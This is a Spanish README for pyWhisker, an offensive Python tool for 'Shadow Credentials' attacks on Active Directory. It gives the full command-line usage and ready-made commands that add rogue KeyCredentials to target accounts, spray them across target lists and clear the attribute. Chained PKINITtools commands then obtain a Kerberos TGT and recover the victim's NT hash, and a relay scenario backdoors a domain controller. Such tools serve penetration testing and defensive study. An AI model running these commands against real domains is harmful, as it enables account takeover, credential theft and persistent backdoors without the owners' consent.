
Versión en Python de la herramienta C# para ataques de "Shadow Credentials"
pyWhisker es un equivalente en Python del Whisker original creado por Elad Shamir y escrito en C#. Esta herramienta permite a los usuarios manipular el atributo msDS-KeyCredentialLink de un usuario/equipo objetivo para obtener control total sobre ese objeto.
Se basa en Impacket y en un equivalente en Python de DSInternals de Michael Grafnetter, llamado PyDSInternals creado por podalirius.
Esta herramienta, junto con PKINITtools de Dirk-jan, permiten una explotación primitiva completa en sistemas basados en UNIX.
Requisitos previos para este ataque son los siguientes:
msDs-KeyCredentialLink de la cuenta de usuario o equipo objetivo.¿Por qué algunos prerequisitos?
AS_REQ <-> AS_REP.Se generará un KRB-ERROR (16) : KDC_ERR_PADATA_TYPE_NOSUPP si no se cumple el prerequisito 3.
Más información sobre esta primitiva de "Shadow Credentials":
pyWhisker se puede utilizar para realizar varias acciones sobre el atributo msDs-KeyCredentialLink de un objetivo:
msDs-KeyCredentialLinkmsDs-KeyCredentialLinkmsDs-KeyCredentialLinkmsDs-KeyCredentialLinkmsDs-KeyCredentialLink en JSONmsDs-KeyCredentialLink con KeyCredentials de un archivo JSONpyWhisker soporta las siguientes autenticaciones:
Entre otras cosas, pyWhisker soporta verbosidad multinivel, solo hay que añadir -v, -vv, ... al comando :)
pyWhisker también puede trabajar entre dominios, ver el argumento -td/--target-domain.
usage: pywhisker [-h] (-t TARGET_SAMNAME | -tl TARGET_SAMNAME_LIST) [-a [{list,add,spray,remove,clear,info,export,import}]] [--use-ldaps] [--use-schannel] [-v] [-q]
[--dc-ip ip address] [-d DOMAIN] [-u USER] [-crt CERTFILE] [-key KEYFILE] [-td TARGET_DOMAIN] [--no-pass | -p PASSWORD | -H [LMHASH:]NTHASH | --aes-key hex key]
[-k] [-P PFX_PASSWORD] [-f FILENAME] [-e {PEM,PFX}] [-D DEVICE_ID]
Python (re)setter for property msDS-KeyCredentialLink for Shadow Credentials attacks.
optional arguments:
-h, --help show this help message and exit
-t TARGET_SAMNAME, --target TARGET_SAMNAME
Target account
-tl TARGET_SAMNAME_LIST, --target-list TARGET_SAMNAME_LIST
Path to a file with target accounts names (one per line)
-a [{list,add,spray,remove,clear,info,export,import}], --action [{list,add,spray,remove,clear,info,export,import}]
Action to operate on msDS-KeyCredentialLink
--use-ldaps Use LDAPS instead of LDAP
--use-schannel Use LDAP Schannel (TLS) for certificate-based authentication
-v, --verbose verbosity level (-v for verbose, -vv for debug)
-q, --quiet show no information at all
authentication & connection:
--dc-ip ip address IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted it will use the domain part (FQDN) specified in the identity parameter
-d DOMAIN, --domain DOMAIN
(FQDN) domain to authenticate to
-u USER, --user USER user to authenticate with
-crt, --certfile CERTFILE
Path to the user certificate (PEM format) for Schannel authentication
-key, --keyfile KEYFILE
Path to the user private key (PEM format) for Schannel authentication
-td TARGET_DOMAIN, --target-domain TARGET_DOMAIN
Target domain (if different than the domain of the authenticating user)
--no-pass don't ask for password (useful for -k)
-p PASSWORD, --password PASSWORD
password to authenticate with
-H [LMHASH:]NTHASH, --hashes [LMHASH:]NTHASH
NT/LM hashes, format is LMhash:NThash
--aes-key hex key AES key to use for Kerberos Authentication (128 or 256 bits)
-k, --kerberos Use Kerberos authentication. Grabs credentials from .ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones
specified in the command line
arguments when setting -action to add:
-P PFX_PASSWORD, --pfx-password PFX_PASSWORD
password for the PFX stored self-signed certificate (will be random if not set, not needed when exporting to PEM)
-f FILENAME, --filename FILENAME
filename to store the generated self-signed PEM or PFX certificate and key, or filename for the "import"/"export" actions
-e {PEM,PFX}, --export {PEM,PFX}
choose to export cert+private key in PEM or PFX (i.e. #PKCS12) (default: PFX))
arguments when setting -action to remove:
-D DEVICE_ID, --device-id DEVICE_ID
device ID of the KeyCredentialLink to remove when setting -action to remove
A continuación se muestran ejemplos y capturas de pantalla de lo que pyWhisker puede hacer.
pyWhisker tiene la capacidad de listar los KeyCredentials existentes. Además, puede desplegar toda la estructura para mostrar cada pieza de información que contiene ese objeto (incluyendo los parámetros de la clave pública RSA).
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "info" --device-id 6419739b-ff90-f5c7-0737-1331daeb7db6

pyWhisker tiene la capacidad de eliminar valores específicos o limpiar todo el atributo.
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "remove" --device-id a8ce856e-9b58-61f9-8fd3-b079689eb46e

python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "clear"

pyWhisker tiene la capacidad de generar claves RSA, un certificado X509, una estructura KeyCredential y escribir la información necesaria como nuevos valores del atributo msDs-KeyCredentialLink. El certificado se puede exportar en formato PFX (#PKCS12, certificado + clave privada protegida con contraseña) o en formato PEM (certificado PEM, clave privada PEM, sin necesidad de contraseña).
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename test1

Una vez que los valores son generados y añadidos por pyWhisker, se puede solicitar un TGT con gettgtpkinit.py. Luego se puede recuperar el hash NT con getnthash.py.
python3 PKINITtools/gettgtpkinit.py -cert-pfx test1.pfx -pfx-pass xl6RyLBLqdhBlCTHJF3R domain.local/user2 user2.ccache
python3 PKINITtools/getnthash.py -key f4d6738897808edd3868fa8c60f147366c41016df623de048d600d4e2f156aa9 domain.local/user2

python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename test2 --export PEM

Una vez que los valores son generados y añadidos por pyWhisker, se puede solicitar un TGT con gettgtpkinit.py. Luego se puede recuperar el hash NT con getnthash.py.
python3 PKINITtools/gettgtpkinit.py -cert-pem test2_cert.pem -key-pem test2_priv.pem domain.local/user2 user2.ccache
python3 PKINITtools/getnthash.py -key 894fde81fb7cf87963e4bda9e9e288536a0508a1553f15fdf24731731cecad16 domain.local/user2

pyWhisker puede encadenar múltiples adiciones de KeyCredentials a un conjunto de objetivos, es decir, rociar (si las credenciales utilizadas tienen los permisos adecuados).
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target-list targetlist.txt --action "spray"
Los KeyCredentials almacenados en el atributo msDs-KeyCredentialLink se pueden analizar, estructurar y guardar como JSON.

La exportación JSON se puede usar luego para restaurar el atributo msDs-KeyCredentialLink al estado que tenía en el momento de la exportación.

Se fusionó una solicitud de extracción en ntlmrelayx para incluir la función de "añadir" de pyWhisker.

Los objetos de usuario no pueden editar su propio atributo msDS-KeyCredentialLink. Sin embargo, los objetos de equipo sí pueden. Esto significa que el siguiente escenario podría funcionar: desencadenar una autenticación NTLM desde DC01, retransmitirla a DC02, hacer que pyWhisker edite el atributo de DC01 para crear una puerta trasera de preautenticación Kerberos PKINIT en él.

Los objetos de equipo pueden editar su propio atributo msDS-KeyCredentialLink pero solo pueden añadir un KeyCredential si no existe ninguno.

Si encuentras errores, asegúrate de que no haya desviación horaria entre tu host atacante y el Centro de Distribución de Claves (generalmente el Controlador de Dominio). Para evitar ese error, los certificados generados por la herramienta pyWhisker son válidos 40 años antes de la fecha actual y 40 años después.
Créditos a Dirk-jan por su trabajo en PKINITtools. Inicialmente planeábamos refactorizar los scripts de Impacket (especialmente gettgt.py) para implementar la preautenticación asimétrica PKINIT para Kerberos. ¡Nos ahorró un gran dolor de cabeza al escribirlo antes que nosotros!
Créditos a todo el equipo detrás de Impacket y sus contribuyentes.
Créditos a Elad Shamir quien creó la herramienta original en C# (Whisker) y a Michael Grafnetter quien hizo DSInternals, una biblioteca que realiza la mayor parte del trabajo pesado de Whisker. También fue quien realizó la demostración original de Black Hat presentando la primitiva de ataque.